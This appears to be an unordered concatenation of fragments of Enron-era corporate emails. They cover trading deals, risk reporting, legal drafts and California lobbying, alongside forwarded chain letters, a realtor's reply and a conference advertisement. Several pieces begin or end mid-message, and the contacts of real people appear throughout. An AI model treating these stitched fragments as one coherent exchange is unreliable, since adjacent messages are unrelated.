quickly, particularly when we sign up one or more vertical portals to vend
or offer fundamental forward projections from our models.  I a loath to do
so without the capitalization and staffing we need.  Also, I am loath to do
so without the market reach that a partner like Enron could render instantly
available.

I also would be eager during my next trip to Houston to continue the
discussion with you regarding how MarketPoint might benefit Enron directly.
I plan to be there the last week in June.

Thanks again for all your help and support.

Dale

Sent: June 06, 2000 6:04 AM
To: dale.nesbitt@marketpointinc.com
Subject: Re: Follow up

Dale,

I have passed on the information you gave me but you have to realize that
I acted just as a go-between. I shall be glad to remind our new business
unit
about your proposal. I have already asked a few times.

I shall be traveling this week, Wed - Fri. I shall be back in the office on
Monday.

Vince

"Dale Nesbitt" <dale.nesbitt@marketpointinc.com> on 06/06/2000 02:03:18 AM

To:   "Vincent Kaminski" <vkamins@enron.com>
cc:
Subject:  Follow up

Vince:

Just wanted to make sure you know we are still vitally interested in
getting
together with you and the key Enron people.  Thanks so much for all your
help.  I understand how busy you and the new person are, but I hope you are
interested enough to find a slot for us.  I think it will benefit you as
well as us.

Dale

Congratulations to two of our EvMBA students who placed in the recent
business plan competitions:

Peter Fiske and his team, of RAPT Industries, advanced on to the finals of
the UC Berkeley Business Plan Competition along with five other
teams.  RAPT Industries developed Reactive Atom Plasma (RAP) processing,  a
proprietary technology for etching and polishing optical and semiconductor
materials.  The final round will be held April 25 and is open to the
public.  We'll keep you posted on time and place.

Tom McVey and his team, of Aprotea, also advanced to the finals of the UC
Berkeley Business Plan Competition.  Aprotea has developed a patent-pending
biochip for parallel analysis of 100 to 10,000 protein samples.  The chip
provides a rapid and easy-to-use protein measurement system to enhance drug
discovery.

Aprotea also took second prize ($2,000) for Best Management Team in the
Haas Social Venture Competition.

Congratulations to both Peter and Tom!

Cheers,

Diane

Senator Burton, President Pro-Tem, has asked for the name and address of all 
the CEOs of the "generators".   This request has come through Julie 
Malinowski from the Independent Energy Producers' (IEP) lobbying firm, Edson 
and Modisette.  Burton gave her a list on which Enron appeared.  I asked her 
to eliminate us from the list and say that we are not generators.  If Burton 
comes back anyway, I have given Julie the names and addresses of Ken Lay and 
Jeff Skilling.
 
Hello Cara,
 
Hope this finds you well.  I received your e-mail message.  Are you interesting in purchasing a home in this area or another area?  What price range are you looking at?
Have you been preapproved for a loan?  Are you currently working with a real estate agent?  are there a minimum number of bedrooms, bathrooms, etc.
 
let me know, I would be happy to assist you in your search.
 
Take care,
 
Aimee Davis
ERA Northwest Professional Realty
118a Robbins, PO Box 193
Molalla, Oregon 97038
phone: 503.829.5405
fax: 503.829.5420
e-mail:  era@molalla.net <mailto:era@molalla.net>
websites for further information:  www.rmls.com <http://www.rmls.com>
                                                   www.ERA.com <http://www.ERA.com>
                                                    www.realtor.com <http://www.realtor.com>
                                                   www.molalla.net/~city/ <http://www.molalla.net/~city/>
                                                   www.eramolalla.locality.com <http://www.eramolalla.locality.com>
 
 Thank You for choosing ERA Northwest Professional Realty for your  Real Estate needs.....   
 
*For your Mortgage needs, check out ERA Mortgage at <http://www.mortgagesvcs.com/site/main/default.html?cid=80457>           

Hey Lizzie,

That deal should have been booked to Nine Energy Services, LLC.  Can you please change that in Sitara.....thanks!

From: 	Hernandez, Elizabeth L.  
Sent:	Tuesday, September 25, 2001 8:47 AM
To:	Mims, Patrice L.
Subject:	FW: Deal #971507 - Detroit Edison Company

From: 	Vela, Valerie  
Sent:	Tuesday, September 25, 2001 8:45 AM
To:	Hernandez, Elizabeth L.
Subject:	Deal #971507 - Detroit Edison Company

Good morning Elizabeth,

Would you please check with the trader on the above deal. I don't know why, but my contact at Detroit Edison swears this invoice is not there's. Please verify with the trader WHO this deal was done with. Then, the trader may have to call this woman over there or his/her contact at Detroit Edison to get this thing handled and paid. 

Thanks!

Valerie Vela
Specialist, Energy Operations
t: 713.345.8749
f: 713.646.8420

---------------------- Forwarded by Judy Hernandez/HOU/ECT on 10/13/2000 
12:50 PM ---------------------------

Leslie Smith
10/13/2000 10:59 AM
To: Angela Barnett/HOU/ECT@ECT, Regina Blackshear/Corp/Enron@ENRON, Angela 
Gill/NA/Enron@Enron, Carolyn Gilley/HOU/ECT@ECT, Judy Hernandez/HOU/ECT@ECT, 
Derick Jones/Corp/Enron@Enron, Sandra R McNichols/HOU/ECT@ECT, Eve 
Puckett/Corp/Enron@ENRON, Melissa Rodriguez/HOU/ECT@ECT, Diane 
Salcido/Corp/Enron@Enron, Judy Walters/HOU/ECT@ECT
cc:  
Subject: Fwd: FW: RUBY

---------------------- Forwarded by Leslie Smith/HOU/ECT on 10/13/2000 10:57 

Lisa Shoemake
10/13/2000 09:16 AM
To: Leslie Smith/HOU/ECT@ECT, George D Smith/NA/Enron@ENRON
cc:  

---------------------- Forwarded by Lisa Shoemake/HOU/ECT on 10/13/2000 09:19 

Cheryl Slone
10/12/2000 08:37 AM
To: emoses@mdanderson.org, rflores@traveltech.com, Stephanie Cole/Enron 
Communications@Enron Communications, Lisa Shoemake/HOU/ECT@ECT, Copier 
Repair/EPSC/HOU/ECT@ECT
cc:  

 - ruby.pps

please kill this
---------------------- Forwarded by Jeffrey A Shankman/HOU/ECT on 01/09/2001 
11:15 AM ---------------------------

ARSystem <ARSystem@mailman.enron.com> on 01/08/2001 07:12:46 PM
To: "jeffrey.a.shankman@enron.com" <jeffrey.a.shankman@enron.com>
cc:  
Subject: Approval is Overdue: Access Request for jeffrey.a.shankman@enron.com

This request has been pending approval for  4 days and you are the 
alternate.  Please click 
http://itcapps.corp.enron.com/srrs/auth/emailLink.asp?ID=000000000006063&Page=

Request ID          : 000000000006063
Approver            : jennifer.burns@enron.com
Request Create Date : 10/30/00 4:01:37 PM
Requested For       : jeffrey.a.shankman@enron.com
Resource Name       : ICE - External Intercontinental Exchange Backoffice

I didn;t think that you would say, "Yes." but one can always hope!

Best of luck to you and your bride to be and continued wishes of success.

k

ps please give shankdaddy a pat on his cute little bald head for me.

---------------------- Forwarded by Angela Barnett/HOU/ECT on 12/19/2000 
08:51 AM ---------------------------

Sandra R McNichols
12/19/2000 08:40 AM
To: Angela Barnett/HOU/ECT@ECT, Adrial Boals/Corp/Enron@Enron
cc: Selena Palanca/NA/Enron@Enron 
Subject: Fw: Kids Say the Darnedest Things ...

Thanks Selena,
        those are priceless.
srm
---------------------- Forwarded by Sandra R McNichols/HOU/ECT on 12/19/2000 
08:41 AM ---------------------------

Selena Palanca@ENRON
12/19/2000 08:29 AM
To: Julie Cunningham/NA/Enron@ENRON, Bonnie Elliott/Corp/Enron@ENRON, 
Jeanette McBee/Corp/Enron@Enron, Sandra R McNichols/HOU/ECT@ECT, 
kevin_m_palanca@huntsman.com, Barbara Woodland/Corp/Enron@Enron
cc:  

Subject: Kids Say the Darnedest Things ...

> ...
>
>
> >
> > 
> > When I was young, there was a cartoon called "Love Is...".  Well, now
that
> we're
> > doing all that retro
> > stuff, it looks like they've revived it ...
> >
> >
> >  A group of professional people posed this question to a group of
> > four-through eight-year-olds, "What does love mean?" The answers they
got
> > were broader and deeper than anyone could have imagined. See what you
> think:
> >
> >  "Love is that first feeling you feel before all the bad stuff gets in
the
> > way."
> >
> >  "When my grandmother got arthritis, she couldn't bend over and paint
her
> >  toenails anymore. So my grandfather does it for her all the time, even
> when
> >  his hands got arthritis too. That's love."
> >
> >  "When someone loves you, the way they say your name is different. You
> > know that your name is safe in their mouth."
> >
> >  "Love is when a girl puts on perfume and a boy puts on shaving cologne
> > and they go out and smell each other."
> >
> >  "Love is when you go out to eat and give somebody most of your French
> > fries without making them give you any of theirs."
> >
> >  "Love is when someone hurts you. And you get so mad but you don't yell
> > at them because you know it would hurt their feelings."
> >
> >  "Love is what makes you smile when you're tired."
> >
> >  "Love is when my mommy makes coffee for my daddy and she takes a sip
> > before giving it to him, to make sure the taste is OK."
> >
> >  "Love is when you kiss all the time. Then when you get tired of
kissing,
> > you still want to be together and you talk more. My mommy and daddy are
> > like that. They look gross when they kiss."
> >
> >  "Love is what's in the room with you at Christmas if you stop opening
> >  presents and listen."
> >
> >  "If you want to learn to love better, you should start with a friend
> > who you hate."
> >
> >  "Love is hugging. Love is kissing. Love is saying no."
> >
> >  "When you tell someone something bad about yourself and you're scared
> > they won't love you anymore. But then you get surprised because not only
> do
> > they still love you, they love you even more."
> >
> >  "There are two kinds of love: Our love. God's love. But God makes both
> > kinds of them."
> >
> >  "Love is when you tell a guy you like his shirt, then he wears it
> everyday."
> >
> >  "Love is like a little old woman and a little old man who are still
> > friends even after they know each other so well."
> >
> >  "During my piano recital, I was on a stage and scared.  I looked at
> > all the people watching me and saw my daddy waving and smiling. He was
the
> > only one doing that. I wasn't scared anymore."
> >
> >  "My mommy loves me more than anybody. You don't see anyone else
> > kissing me to sleep at night."
> >
> >  "Love is when mommy gives daddy the best piece of chicken."
> >
> >  "Love is when mommy sees daddy smelly and sweaty and still says he is
> >  handsomer than Denzel Washington."
> >
> >  "Love is when your puppy licks your face even after you left him alone
> > all day."
> >
> >  "I know my older sister loves me because she gives me all her old
> > clothes and has to go out and buy new ones."
> >
> >  "I let my big sister pick on me because my Mom says she only picks on
> > me because she loves me. So I pick on my baby sister because I love
her."
> >
> >  "Love cards like Valentine's cards say stuff on them that we'd like to
> > say ourselves, but we wouldn't be caught dead saying."
> >
> >  "When you love somebody, your eyelashes go up and down and little stars
> > come out of you."
> >
> >
> >
> >
> >
> >
>

Ok, once that is done, we need to set up the RMS access query to extract the new VaR and dump it in the positions by trader spreadsheet.

KK

From: 	Valdes, John  
Sent:	Monday, January 28, 2002 8:22 AM
To:	Keiser, Kam
Subject:	RE: risktrac

No, they are not.  Risktrac DB not set up for NETCO.  Jeff just talked to me.  He wants it all done by Friday.  Will do.  Just can't take excuses anymore from idiots and need to go around them.

Sent:	Monday, January 28, 2002 8:07 AM
To:	Valdes, John
Subject:	risktrac

Do you know if all of our books are set up and ready to go in risktrac, ready to report VaR?  

KK

John,

Look at this.  Kim.

From: Lohman, TK 
Sent: Friday, March 01, 2002 3:31 PM
Subject: FW: What's Wrong With This Picture?

-Look real closely!

Can you spot what's wrong with this picture? Look closely. It may take you a minute.
http://secure.falcon-networks.com/~culprit/whatswrong.html

Lauren:

(1)  Par. 3(xiii)  second and fourth lines:  the word "Guaranty" should be 
replaced by the word "guaranty" and  the words "the Guaranty"  should be 
replaced with "that guaranty", respectively.

(2)  Exhibit B Guaranty, first and final paragraphs:  change the date to 
"March 19, 2001"

	TeiglandL@sullcrom.com
	03/19/2001 01:21 PM
		 
		 To: Sshackl@enron.com
		 cc: 
		 Subject: Allegheny/Enron side letter re: ISDA Agreement

Sara, attached is a blackline which shows some minor changes we have made to
the above to fix some nits/clarify exhibit references.  Let me know if you
have any questions or comments.

 <<Allegheny  ENRON ISDA SIDE LETTER(v4).DOC>>

 - Allegheny  ENRON ISDA SIDE LETTER(v4).DOC

i can probably get together around 4:30 ish

	From:  Heidi Withers                           03/06/2000 05:24 PM
	
cc:  
Subject: Spread Option

Eric, JD gave me the path for the spread option:

 o:/erms/erms_adm/firmtrad/1GG Files/exotic pipe options.xls
 o:/research/exotica/xll/xll_templates/spread.xls

Can you get together tomorrow afternoon (Tuesday 7th) after the ENA Gas 
Assets meeting?  Please let me know!

---------------------- Forwarded by Darron C Giron/HOU/ECT on 09/13/2000 

"KRISTI GIRON" <KRISTI.GIRON@cfisd.net> on 09/13/2000 07:54:41 AM
To: <Darron.C.Giron@enron.com>
cc:  
Subject: Fwd: Fw: (no subject)

Received: from smtp.email.msn.com (cpimssmtpu08.email.msn.com 
[207.46.181.30]) by gpwise01.cfisd.net; Tue, 12 Sep 2000 22:43:38 -0500
Received: from default - 63.28.143.18 by email.msn.com with Microsoft 
SMTPSVC;  Tue, 12 Sep 2000 20:43:06 -0700
Message-ID: <002b01c01d35$7f5198a0$128f1c3f@default>
From: "hollyw" <hollyw@email.msn.com>
To: "KRISTI GIRON" <KRISTI.GIRON@cfisd.net>
Subject: Fw: (no subject)
Date: Tue, 12 Sep 2000 22:48:35 -0500
X-Mailer: Microsoft Outlook Express 5.00.2919.6600
Return-Path: hollyw@email.msn.com

mushy crap, mushy crap.............but I love you so here ya go.

From: <EPeddi1254@cs.com>
To: <NanSeas423@aol.com>; <charleep@email.msn.com>; "mjp"
<mjp@hqhouston.com>; <Windy769@cs.com>; <kpeddicord@bce.katy.isd.tenet.edu>;
<hollyw@email.msn.com>
Sent: Tuesday, September 12, 2000 5:36 PM
Subject: (no subject)

> ou may have all seen this but is worth looking at again!!
>
>
>
> Keep reading to the bottom of the page - don't stop
> > >>       at the feet(You'll see).
> > >>
> > >>       THINGS AREN'T ALWAYS WHAT THEY SEEM
> > >>
> > >>       Two traveling angels stopped to spend the night in
> > >>       the home of a wealthy family.  The family was rude
> > >>       and refused to let the angels stay in the mansion's
> > >>       guest room.  Instead the angels were given a small
> > >>       space in the cold basement.  As they made their bed
> > >>       on the hard floor, the older angel saw a hole in the
> > >>       wall and repaired it.  When the younger angel asked
> > >>       why, the older angel replied,
> > >>
> > >>       "Things aren't always what they seem"
> > >>
> > >>       The next night the pair came to rest at the house of
> > >>       a very poor, but very hospitable farmer and his
> > >>       wife.
> > >>
> > >>       After sharing what little food they had the couple
> > >>       let the angels sleep in their bed where they could
> > >>       have a good night's rest.  When the sun came up the
> > >>       next morning the angels found the farmer and his
> > >>       wife in tears.  Their only cow, whose milk had been their
> > >>       sole income, lay dead in the field.  The younger
> > >>       angel was infuriated and asked the older angel, "How could
> > >>       you have let this happen?  The first man had everything,
> > >>       yet you helped him," she accused.  "The second family had
> > >>       little but was willing to share everything,
> > >>       and you let the cow die."
> > >>
> > >>       "Things aren't always what they seem,"
> > >>       the older angel replied.
> > >>
> > >>       "When we stayed in the basement of the mansion, I
> > >>       noticed there was gold stored in that hole in the
> > >>       wall.  Since the owner was so obsessed with greed and
> > >>       unwilling to share his good fortune, I sealed the
> > >>       wall so he  wouldn't find it.
> > >>
> > >>       "Then last night as we slept in the farmers bed, the
> > >>       angel of death came for his wife.
> > >>       I gave him the cow instead.
> > >>
> > >>       "Things aren't always what they seem."
> > >>
> > >>       Sometimes that is exactly what happens when things
> > >>       don't turn out the way they should.  If you have
> > >>       faith, you just need to  trust that every outcome is always
> > >>       to your advantage.  You might not know  it until some
> > >>       time later...
> > >>
> > >>                                                Oooo
> > >>                             Some people       (    )
> > >>                          come into our lives   )  /
> > >>                           and quickly go..    (_ /
>
>
>
>
> > >>
> > >>                                         oooO
> > >>                                        (    )   Some people
> > >>                                         \  (    become friends
> >                                               and stay awhile.
> >
> >                              \_)
>
>                                leaving beautiful      Oooo
>                                footprints on our      (    )
>                                hearts..                )  /
>
>                                                       (_/
> > >>                                          oooO
> > >>                                         (    )   and we are
> >                                        \  (   never quite the
> > >>                                                 same because we
>                                                \_)   have made a good
> > >>                                                 friend !!
> >                                                        >>
> >                                         >>
> > >>       Yesterday is history.  Tomorrow a mystery.
> > >>       Today is a gift.  That's why it's called the
> > >>       present!
> > >>       I think this is special...live and savor every
> > >>       moment...
> > >>       This is not a dress rehearsal!
> > >>
> > >>                             (\       /)
> > >>                             ( \  _  / )
> > >>                             (  \( )/  )
> > >>                             (   / \   )  TAKE THIS LITTLE ANGEL
> > >>                              (  \ /   )   AND KEEP HER CLOSE TO
> >                                         YOU
> > >>                               /      \    SHE IS YOUR GUARDIAN
> >                                         ANGEL
> > >>                              (        )    SENT TO WATCH OVER YOU
> > >>                               ~~~~~~~~
> > >>       THIS IS A SPECIAL GUARDIAN ANGEL... YOU MUST PASS
> > >>       THIS
> > >>
> > >>       ON TO 5 PEOPLE  WITHIN THE HOUR OF RECEIVING
> > >>       HER..AFTER YOU DO MAKE A WISH....IF YOU HAVE PASSED HER ON,
> > >>       YOUR WISH WILL BE GRANTED AND SHE WILL WATCH OVER
> > >>       YOU FOREVER....
> > >>       IF NOT..HER TEARS WILL FLOW AND NO WISHES WILL BE
> > >>       GRANTED....
> > >>      Now don't delete this message, because it comes
> > >>       from a very special angel.
> > >>
> > >>       Right Now -
> > >>
> > >>       -somebody is very proud of you.
> > >>       -somebody is thinking of you.
> > >>       -somebody is caring about you.
> > >>       -somebody misses you
> > >>       -somebody wants to talk to you.
> > >>       -somebody wants to be with you.
> > >>       -somebody hopes you aren't in trouble.
> > >>       -somebody is thankful for the support you have provided.
> > >>       -somebody wants to hold your hand.
> > >>       -somebody hopes everything turns out all right.
> > >>       -somebody wants you to be happy.
> > >>       -somebody wants you to find him/her.
> > >>       -somebody is celebrating your successes.
> > >>       -somebody wants to give you a gift.
> > >>       -somebody thinks that you ARE a gift.
> > >>       -somebody hopes you're not too cold, or too hot
> > >>       -somebody wants to hug you.
> > >>       -somebody loves you.
> > >>       -somebody admires your strength.
> > >>       -somebody is thinking of you and smiling.
> > >>       -somebody wants to be your shoulder to cry on.
> > >>       -somebody wants to go out with you and have a lot of fun.
> > >>       -somebody thinks the world of you.
> > >>       -somebody wants to protect you.
> > >>       -somebody would do anything for you.
> > >>       -somebody wants to be forgiven.
> > >>       -somebody is grateful for your forgiveness.
> > >>       -somebody wants to laugh with you.
> > >>       -somebody remembers you and wishes that you were there.
> > >>       -somebody is praising God for you.
> > >>       -somebody needs to know that your love is unconditional.
> > >>       -somebody wants to tell you how much they care.
> > >>       -somebody wants to share their dreams with you.
> > >>       -somebody wants to hold you in their arms.
> > >>       -somebody wants YOU to hold them in your arms.
> > >>       -somebody treasures your spirit.
> > >>       -somebody wishes they could STOP time because of you.
> > >>       -somebody praises God for your friendship and love.
> > >>       -somebody can't wait to see you.
> > >>       -somebody loves you for who you are.
> > >>       -somebody loves the way you make them feel.
> > >>       -somebody wants you to know they are there for you.
> > >>       -somebody's glad that you're his/her friend.
> > >>       -somebody wants to be your friend.
> > >>       -somebody stayed up all night thinking about you.
> > >>       -somebody is wishing that you noticed him/her.
> > >>       -somebody wants to get to know you better.
> > >>       -somebody wants to be near you.
> > >>       -somebody misses your advice/guidance.
> > >>       -somebody has faith in you.
> > >>       -somebody trusts you.
> > >>       -somebody needs you to send them this letter
> > >>       -somebody needs your support.
> > >>       -somebody needs you to have faith in them.
> > >>       -somebody will cry when they read this.
> > >>       -somebody needs you to let them be your friend.
> > >>       -somebody hears a song that reminds them of you.
> > >>
> > >>       SOMEBODY NEEDS YOU TO SEND THIS TO THEM.
> >
> ________________________________________________________________________
> Get Your Private, Free E-mail from MSN Hotmail at http://www.hotmail.com
>
>
>
>
> --------------87F48CBEE9FA82F236F507C0--

---------------------- Forwarded by Chris Germany/HOU/ECT on 09/07/2000 03:20 

dkinney@columbiaenergygroup.com on 07/27/2000 04:26:11 PM
To: " - *Molly.Sumrow@enron.com" <Molly.Sumrow@enron.com>, " - 
*Kevin.Ruscitti@enron.com" <Kevin.Ruscitti@enron.com>, " - 
cc: " - *Scott, David" <dscott1@columbiaenergygroup.com>, " - 
*tray@enron.com" <tray@enron.com>, " - *Jones, Donna" 
<kdestep@columbiaenergygroup.com>, " - *cfrankl2@enron.com" 
<cfrankl2@enron.com>, " - *vversen@enron.com" <vversen@enron.com>, " - 
Subject: Updated CES August FOM volumes

The attached file contains updated August FOM volumes for CES.  This file is 
an
update to the one sent on 7/26/00.   The changes are listed on the 'Comment'
worksheet.   Please call me if you have questions, problems, etc.

 - Aug00_FOM_Req03.xls

Hi Mark,
I'm really sorry to have heard about your Dad. I know I'm just one on a long 
list of people that always enjoyed his company, hospitality and high 
spirits...he always treated me like a bro and I know how much he meant to you.
I'm heading north to Humboldt with Stacey this afternoon (been in Sac all 
week) and will probably be there for a little while.  Be sure to let me know 
where you're gonna be, 'cause I plan on heading further north sometime.
Hope to see you soon, and I'll be in touch until then...
-Marc

Get FREE Email/Voicemail with 15MB at Lycos Communications at 
http://comm.lycos.com

Earl,

James McKay referred me to you for information regarding historical 
throughput numbers on HPL.  Ed Gottlob and I are looking at ways to hedge the 
pipe and need this data as far back as can accurately be obtained.

Thanks,

Eric

Per Greg Wolfe and Valarie Sabo:
Do not verbally confirm these deals. Greg Wolfe is preparing a confirm letter 
himself. Sharen Cason was handling this account with Greg Wolfe, John 
Malowney and Valarie Sabo yesteday, so she would have more detailed 
information. 

Let me know if that does it!

Thanks,
Kate

12/12/2000 02:19 PM
cc:  

Subject: Deals #478944, 478945, 478946

Hi Kate,
We had a deal with Hinson Power Company, Inc. yesterday that we ended up not 
confirming because the comments said that it was a buy-back of part of a 
one-off deal and that Legal would prepare a special confirm.  There are no 
comments entered for these deals that would indicate that they are the same 
type of deal.  Are they?  Should we prepare a confirm letter?
Thanks!
Kim

This was filed on 11/09/01. Enron is not a named party -- just as part of the retail alliance.  AReM sent out a press release today, which is also attached.  AReM and others, including some of Enron's customers, appealed to the Supreme Court to seek reinstatement of direct access becuase of legal errors made by the CPUC.  Commonwealth, another ESP, also filed an appeal on broader issues.  I will keep you apprised of progress.
 
From: Michelle Dangott [mailto:MDangott@ArterHadden.com]
Sent: Monday, November 12, 2001 9:38 AM
To: Mara, Susan
Subject: Final Petitioner

Dear Ms. Mara:
 
Pursuant to your request, attached please find the final versions of the Petition and Motion for Judicial Notice which were filed and served on Friday, November 9, 2001.  Should you need anything else, please give me a call at (818) 596-2216.
 
Michelle

Start Date: 4/3/01; HourAhead hour: 14;  No ancillary schedules awarded.  

Schedules\2001040314.txt

     Details: (Hour: 14 / Preferred:  20.00 / Final:  28.32)
  SC_ID: TOSCO
  TRANS_DATE: 4/3/01
  UNIT_ID: UNCHEM_1_UNIT

     Details: (Hour: 14 / Preferred: -250.00 / Final: -225.00)
  TRADING_SC: EPPS
  DEAL_NO: 1
     Details: (Hour: 14 / Preferred: -462.00 / Final: -450.00)
  DEAL_NO: 1

     Details: (Hour: 14 / Preferred:   0.51 / Final:   0.34)
     Details: (Hour: 14 / Preferred:   5.58 / Final:   2.79)
     Details: (Hour: 14 / Preferred:  50.90 / Final:  25.18)

Meeting with Janet Dietrich, Dave Fairley, Billy Lemmons, Jeff Hodge  
regarding Duke L & G

 <http://rs6.net/on.jsp?t=1010952455769.1010945481275&o=http://ccprod.roving.com/roving/images/p1x1.gif>
  <http://www.pmaconference.com/imagesemail/id000048/id00002.gif>	
Power Markets 2002: Risk and Reward
April 17-18, 2002 ? Excalibur Hotel ? Las Vegas, NV
Click Here to Download a Complete Conference Brochure <http://www.pmaconference.com/markets2002.pdf>	 
  <http://www.pmaconference.com/imagesemail/id000048/id00003.gif>	
We will see record numbers of new powerplants coming on line this year. New, much larger RTOs promise dramatic increases in liquidity. The Enron fallout will continue to force balance sheet improvements-- perhaps more mergers and acquisitions. Price volatility will continue, and risk management techniques will continue to be honed.	 
  <http://www.pmaconference.com/imagesemail/id000048/id00004.gif>	
Transmission and RTOs
Representatives from PJM, Cal ISO and Midwest ISO on their respective regions. 

Insurance
Scott Ettien from NCM, Lynda Clemmons from Element Re and Pat Toner Goudarzi from ACE, on Credit Insurance, Weather-risk Insurance and Innovative Insurance Products, respectively 

Exchanges
Monte Simpson of InterContinental Exchange and Brad Leach of NYMEX on the growth in the use of exchanges. Credit
Susan Abbott of Moody's on evolving credit standards in our industry 

Markets
Chris Pollatos of Mirant, Dave Freeman of Panda and Mike Young of Aquila on the state of various aspects of the power markets. 

And More!
Cabell Poindexter of Wyndham Mills on job prospects! John OBrien of Skipping Stone on the outlook for Transmission! Henwood on outlook for powerplant construction! Adrian Palmer of Caminus Corp on European Markets! 
  <http://www.pmaconference.com/imagesemail/id000048/id00005.gif>	
Mirant Americas Energy Marketing
Panda Energy
Aquila, Inc.
Moody's Investor Services
Skipping Stone
NYMEX
California ISO	 ICE 
NCM Americas
Henwood Energy Services
Element Re
Caminus Corporation
Wyndham Mills International 	
  <http://www.pmaconference.com/imagesemail/id000048/id00006.gif>	
On April 16, Scott Spiewak will be repeating his "Fundamentals of Power Marketing" preconference seminar. Essential for the new industry participant, it is also a valuable overview for the industry professional.	 
  <http://www.pmaconference.com/imagesemail/id000048/id00007.gif>	
This email was sent to shelley.corman@enron.com, at your request, by PowerMarketers.com <http://rs6.net/tn.jsp?t=zsrmxqn6.8rwxqqn6.9arrsqn6&p=http%3A%2F%2Fwww.PowerMarketers.com>. 
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Customer has questions regarding the GTC for NA financial products.   Customer is located in London however, they have transacted US Propane and Butane Financial products during the month of November.

Steph Kim
Trafigura Derivatives
44 207 298 7922

Kathy

The only conversation I have had with Jeff regarding this topic was when I 
was in Houston and he had inquired as to when I was returning, stating that 
he was going to need some help in integrating another business within Gas 
Trading (and alluded to the possibility of it being Liquids related).  My 
thoughts are that it would need to be supported out of my group since it is 
going to roll up to Jeff.  Do you want me to set up a conference call with 
you, Scott Earnest and myself to discuss?  Subsequent to that we should 
probably have a conference call with Jeff to get specifics.  Let me know what 
I need to do on this.

Brent

	From:  Sally Beck                           06/05/2000 11:58 PM
	
To: Brent A Price/HOU/ECT@ECT
cc:  
Subject: LNG 

Scott Earnest announced in the staff meeting today that in a meeting he had 
earlier today with Jeff Shankman and Vince Kaminiski that Jeff announced that 
he had gotten the nod from Mark Frevert to manage the LNG book of business.  
(This sentence structure is bad, but you get the drift.)  That is probably 
what Shankman has alluded to in terms of increased responsibility.  I will 
assume that is in addition to gas, but I don't know that for sure.  

Scott has been working on setting up the risk books for LNG, working closely 
over the last several weeks with Vince Kaminski.  We need to talk about this 
business and the best way to support it.  Have you had any conversations with 
Jeff on this?   

Start Date: 4/12/01; HourAhead hour: 23;  No ancillary schedules awarded.  

Schedules\2001041223.txt

     Details: (Hour: 23 / Preferred:  12.00 / Final:  11.98)
  TRANS_DATE: 4/12/01
  INTERCHG_ID: EPMI_CISO_DODGERS

Forgot to tell you that Joe and I went to see the Jim Rome show when he was 
in Houston a couple of weeks ago .  It was pretty good.  Too bad you'll never 
see him in Omaha.  Guess what else?  We got a memo today that Enron is giving 
all of its employees a home  computer and will subsidize their internet 
connection.  Gift is part of their commitment to techonology.  Does your 
company do this with your telephones?

Amy Oberg's brown bag, Coming Full Circle: A Plausible Future for Power 
Generation has been cancelled.  
We apologize for any inconvenience this may cause.  Please keep watching for 
future brown bags.  

Jonathan,

Thank you for your fax dated March 13, 2001 which incorporated the letter from Fred Varacchi.  I have read the letter and had several discussions with my colleagues in London and we conclude that we have no further wish to pursue any discussions with eSpeed. The letter does not seem to correspond to any of the discussions we have had to date. I simply do not see any upside in pursuing discussions, bearing in mind that you received from us a draft proposal  which you previously indicated was satisfactory and then followed up with a letter that does not relate at all to the proposal.

Regards

COO

cc:	Fred Varacchi, eSpeed
	Tom McKeever, Enron Metals
	Justin Boyd, Enron Legal - Europe
	Travis McCullough, Enron Legal - Americas
	Andy Zipper - EnronOnline
	Greg Whalley - Enron Wholesale
	David Tregar - Enron Metals

FYI,  This is how the capacity release product will look on EOL.

----- Forwarded by Gerald Nemec/HOU/ECT on 11/14/2000 09:39 AM -----

	Carlos Alatorre@ENRON
	11/13/2000 06:29 PM
		 
		 To: Colleen Sullivan/HOU/ECT@ECT, Dick Jenkins/HOU/ECT@ECT, Chris 
Germany/HOU/ECT@ECT, Scott Hendrickson/HOU/ECT@ECT, Gerald Nemec/HOU/ECT@ECT, 
Mark Taylor/HOU/ECT@ECT
		 cc: Carl Carter/NA/Enron@Enron, David Forster/Corp/Enron@Enron, Dale 
Neuner/HOU/ECT@ECT, Stephanie Sever/HOU/ECT@ECT
		 Subject: US PLCap Rel

The following US Pipeline Capacity Release products have been 
created/approved and internal user profiles have been updated. Please make 
sure that traders & internal users can activate Products and manage stacks 
according to their preferences, please let us know if you have any 
changes/additions so we can start trading on Wednesday Nov. 15th.
US PLCap Rel  CGAS Leach-MA7 Dec00 USD/MM
US PLCap Rel  CGAS Leach-MA28 Dec00 USD/MM
US PLCap Rel  CGAS Leach-MA34 Dec00 USD/MM
US PLCap Rel  CGLF Rayne-Leach Dec00 USD/MM
US PLCap Rel  CNG   S-SPL1 FT Dec00 USD/MM
US PLCap Rel  CNG   S-SPL1 FTNN Dec00 USD/MM

Below is an example of how the final Product Long Description for CGAS 
Leach-MA28 appears on the Website, please take a look and let me know if you 
have any comments,
Thanks
Carlos

Guess this should not come as a suprise to us.  Unfortunately, rumor has it 
today Dubose will be fired.
PL
---------------------- Forwarded by Phillip M Love/HOU/ECT on 11/01/2000 
08:22 AM ---------------------------
   
From:  Bryan Hull                                                             
11/01/2000 08:14 AM	
	
cc:  
Subject: Article

One of the saddest parts of the demise of Alabama coach Mike DuBose is his
growing inability to control the bad apples in the program.
A few of Alabama's players, sensing DuBose's lame-duck status, have been
acting like thugs. The latest example of the inmates running the asylum:
On the final play of the Tide's loss to Central Florida, senior fullback
Dustin McClintock blocked Central Florida freshman Commer Rucker to the
ground, sat on him and reportedly punched him several times in the face.
DuBose told one reporter he didn't want to comment until he spoke to
McClintock.
According to media reports in Alabama, DuBose is "concerned" that something
like that had happened for the second week in a row. Concerned enough to
take harsh disciplinary action such as suspending the guilty party for part
of the next game?
Cheap shots are getting to be a habit at Bama. In the closing minutes of the
Tennessee game, Alabama's Hirchel Bolden took out his frustrations with a
shot to the chin of UT punter David Leaverton, who was nearly 45 yards from
where the punt was rolling on the turf. Leaverton required 9 stitches to his
face.
Because no penalty was called, some Tide supporters defended Bolden. The
following day, DuBose said such behavior wouldn't be tolerated. However, his
threat rings hollow because he never backed it up with stiff sanctions.
McClintock obviously never got the message. His actions and DuBose's
reaction (or lack thereof) speak volumes about the state of the Tide's
program.

I'm on a conference call which I hope will end by then - a deal we are trying 
to close today.  YIKES!!!!

Kay

On the fee, let Mike manage he knows my thoughts.

Regards
Delainey

Do you know anything about the status of this agreement?  Also a contact at 
South Jersey?

Vince,

Thanks.
Alex

I talked to John today and discussed the risk associated with entering into transactions using an introductory broker.  John understands the risk and was comfortable with our exposure.  I did make sure that he was aware that it was not credit risk.

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Julie, thanks for the update.  Please add one more change i noticed.  Please 
